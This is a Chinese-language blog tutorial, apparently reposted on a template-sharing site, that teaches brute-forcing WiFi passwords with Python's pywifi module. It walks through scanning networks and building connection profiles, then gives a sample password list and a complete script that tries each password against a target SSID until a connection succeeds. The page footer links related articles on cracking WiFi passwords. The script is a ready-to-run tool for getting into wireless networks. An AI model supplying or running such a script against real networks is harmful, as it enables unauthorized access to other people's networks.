Python 使用 pywifi 模块 破解wifi密码

这篇具有很好参考价值的文章主要介绍了Python 使用 pywifi 模块 破解wifi密码。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

原文链接: Python 使用 pywifi 模块 破解wifi密码

上一篇: conda 换源

下一篇: TensorFlow 线性回归 拟合

git

https://github.com/awkman/pywifi

常见常量

from pywifi import const
# Define interface status.
IFACE_DISCONNECTED = 0
IFACE_SCANNING = 1
IFACE_INACTIVE = 2
IFACE_CONNECTING = 3
IFACE_CONNECTED = 4

获取网卡对象

import pywifi
 
wifi = pywifi.PyWiFi()  # 创建一个无线对象
iface = wifi.interfaces()[0]  # 取第一个无限网卡

查看对象属性

for k in dir(iface):
    print(k, getattr(iface, k))
add_network_profile <bound method Interface.add_network_profile of <pywifi.iface.Interface object at 0x0000022022D59668>>
connect <bound method Interface.connect of <pywifi.iface.Interface object at 0x0000022022D59668>>
disconnect <bound method Interface.disconnect of <pywifi.iface.Interface object at 0x0000022022D59668>>
name <bound method Interface.name of <pywifi.iface.Interface object at 0x0000022022D59668>>
network_profiles <bound method Interface.network_profiles of <pywifi.iface.Interface object at 0x0000022022D59668>>
remove_all_network_profiles <bound method Interface.remove_all_network_profiles of <pywifi.iface.Interface object at 0x0000022022D59668>>
remove_network_profile <bound method Interface.remove_network_profile of <pywifi.iface.Interface object at 0x0000022022D59668>>
scan <bound method Interface.scan of <pywifi.iface.Interface object at 0x0000022022D59668>>
scan_results <bound method Interface.scan_results of <pywifi.iface.Interface object at 0x0000022022D59668>>
status <bound method Interface.status of <pywifi.iface.Interface object at 0x0000022022D59668>>

查看网卡名称

print(iface.name())
Intel(R) Dual Band Wireless-AC 3165

断开wifi连接

    iface.disconnect()

连接wifi

    # 新建配置文件
    profile = pywifi.Profile()
    # 设置网络名称
    profile.ssid = ssid
    # 打开连接
    profile.auth = const.AUTH_ALG_OPEN
    # 设置加密方式,是列表类型
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    # 设置加密单元
    profile.cipher = const.CIPHER_TYPE_CCMP
    # 设置密码
    profile.key = pwd

    tmp_profile = iface.add_network_profile(profile)

    iface.connect(tmp_profile)

扫描wifi信息,由于扫描需要时间,在扫描指令下达后需要等待一会才能拿到结果

    iface.scan()
    # iface.remove_all_network_profiles()
    time.sleep(3)
    a = iface.scan_results()
    for i in a:
        print(i, getattr(i, 'ssid'), getattr(i, 'freq'))
<pywifi.profile.Profile object at 0x0000017FB4C0D438> xjtu 2412000
<pywifi.profile.Profile object at 0x0000017FB4C0D048> xjtu 5785000
<pywifi.profile.Profile object at 0x0000017FB4C0D4E0> Mr.Yure 2412000
<pywifi.profile.Profile object at 0x0000017FB4C0D550> xjtu666 2412000

密码文件

1234
12345
123456
123456789
1111
2222

暴力破解,需要移除配置文件,然后断开连接,等一会后重新连接,返回是否连接成功

每次移除所有配置文件是因为如果有可以用的连接的话,会自动连接上可用的网络,这样就不知道是密码正确还是使用的记住密码的wifi。。。。

不过会清除所有记住的密码。。。。 文章来源地址https://www.toymoban.com/news/detail-416115.html

import pywifi
import sys
import time
from pywifi import const

wifi = pywifi.PyWiFi()  # 创建一个无线对象
iface = wifi.interfaces()[0]  # 取第一个无限网卡

def test_conn(ssid, pwd):
    # iface.remove_all_network_profiles()
    iface.disconnect()
    time.sleep(1)
    # 新建配置文件
    profile = pywifi.Profile()
    # 设置网络名称
    profile.ssid = ssid
    # 打开连接
    profile.auth = const.AUTH_ALG_OPEN
    # 设置加密方式,是列表类型
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    # 设置加密单元
    profile.cipher = const.CIPHER_TYPE_CCMP
    # 设置密码
    profile.key = pwd

    tmp_profile = iface.add_network_profile(profile)

    iface.connect(tmp_profile)
    time.sleep(1)
    return iface.status() == const.IFACE_CONNECTED


with open('pwds.txt') as f:
    pwd_list = [i.strip() for i in f.readlines()]

for p in pwd_list:
    if test_conn('ahaoboy', p):
        print(p)

到了这里,关于Python 使用 pywifi 模块 破解wifi密码的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • wifi密码是怎么让破解的 如何设置防止wifi密码被破解

    小编这篇文章只是简单的介绍一些破解wifi密码的方法和思路,并且教大家好何做好wifi密码的安全防范,并不是教大家如何去破解wifi密码。呵呵,小伙伴们,不要想多了哦! wifi的密码是如何被破解的? wifi破解密码的方法 1、暴力破解。 就是用户通过linux系统一个一个去试密

    2024年02月06日
    浏览(42)
  • wifi破解后的密码怎么查看?查看wifi破解后的密码图文方法

    很多朋友喜欢使用wifi上网,但是有的是设置密码的。现在网上也有很多破解wifi密码的软件,可使用wifi万能钥匙破解wifi密码后,需要借助一些方法才能看到破解后的密码,下文小编就为大家带来wifi破解后的密码查看方法,一起去了解下吧。 wifi破解后的密码查看方法: 1.破解

    2024年02月07日
    浏览(39)
  • wifite 破解wifi密码

    使用wifite破解wifi只能破解有用户连接的wifi。 使用原理是:通过无线网卡抓取用户与wifi的通讯数据包(当抓取的数据包足够多时才能进行破解),然后再跑字典(暴力破解)。 注:笔记本电脑的网卡不支持监听模式,所以需要购买支持监听模式的网卡,将其插入电脑并接入

    2024年02月11日
    浏览(48)
  • wifi密码破解方案

    当今社会,wifi 、无线网、wlan、热点,无时无刻不在影响着人们生活的方方面面。无论购物生活都离不开wifi,虽然目前无线网的普及率很高,流量资费相对较低,但是仍然还有很大一部人人不能很方便的使用wifi无线网络。很多人可以看到附近很多的wifi热点,但是却无法使用,

    2024年02月08日
    浏览(39)
  • 暴力破解WiFi密码

    所需要的设备及软件 : 一个可支持监听功能的无线网卡 VMware Workstation 15 Pro(这里版本是15.1,之前用15.5在插入网卡时没有反应) kali系统 步骤: 将无线网卡插入USB口,将其连接到虚拟机里 连接后多等一会,等到可以查看到附近wifi 如果搜索不到附近WiFi断开连接后在重新连

    2024年02月11日
    浏览(55)
  • 图形化WiFi密码的破解

    本文仅限学术交流,请勿用他人实践 文章目录 前言 一 准备工作 二 进行渗透 总结 前言 提示:以下是本篇文章正文内容,下面案例可供参考 一 准备工作 首先我们要购买一款带有监听功能的网卡,我这里购买的是3070L的大概40-50元 我们要在主机安装kali系统,下载地址:htt

    2024年02月14日
    浏览(37)
  • kali linux破解wifi密码

    使用工具: 1、kali linux(kali预装渗透测试工具,redhat/centos安装比较复杂) 2、物理机网卡需求支持 监控模式即网络监听 (如果物理机网卡不支持监控模式,可以使用RT3070L无线网卡接入kali虚拟机) 3、字典文件(kali linux自带字典rockyou ,位于/user/share/wordlists/rockyou.txt.gz,我们

    2024年02月08日
    浏览(66)
  • 最新WIFI和路由器密码破解的方法

    首先我们找到一个信号比较好的热点进行接入测试。 根据名字 ** LOVE ** 可大概看出两个人名,应该是男朋友,想到这心里为 Z 君凉了一半。 找到疑似对方入口的地方就好说了,翻出 minidwep(一款 linux 下破解 wifi 密码的工具)导入部分密码字典,开始进行爆破。因对方使用

    2024年02月06日
    浏览(45)
  • kali入门到放弃系列二:破解wifi无线密码

    前置条件: 建议在淘宝购买一个linux免驱动无线网卡(自己买过绿联,水星等等无线网卡,发现都不能做到linux免驱动) 先上一张破解过程的图 以下是正式流程: 1.kali系统登录后,执行 ifconfig  看到反馈的结果 wlan0就是无线网卡 2、开始监听, 执行         结果如下:

    2023年04月10日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包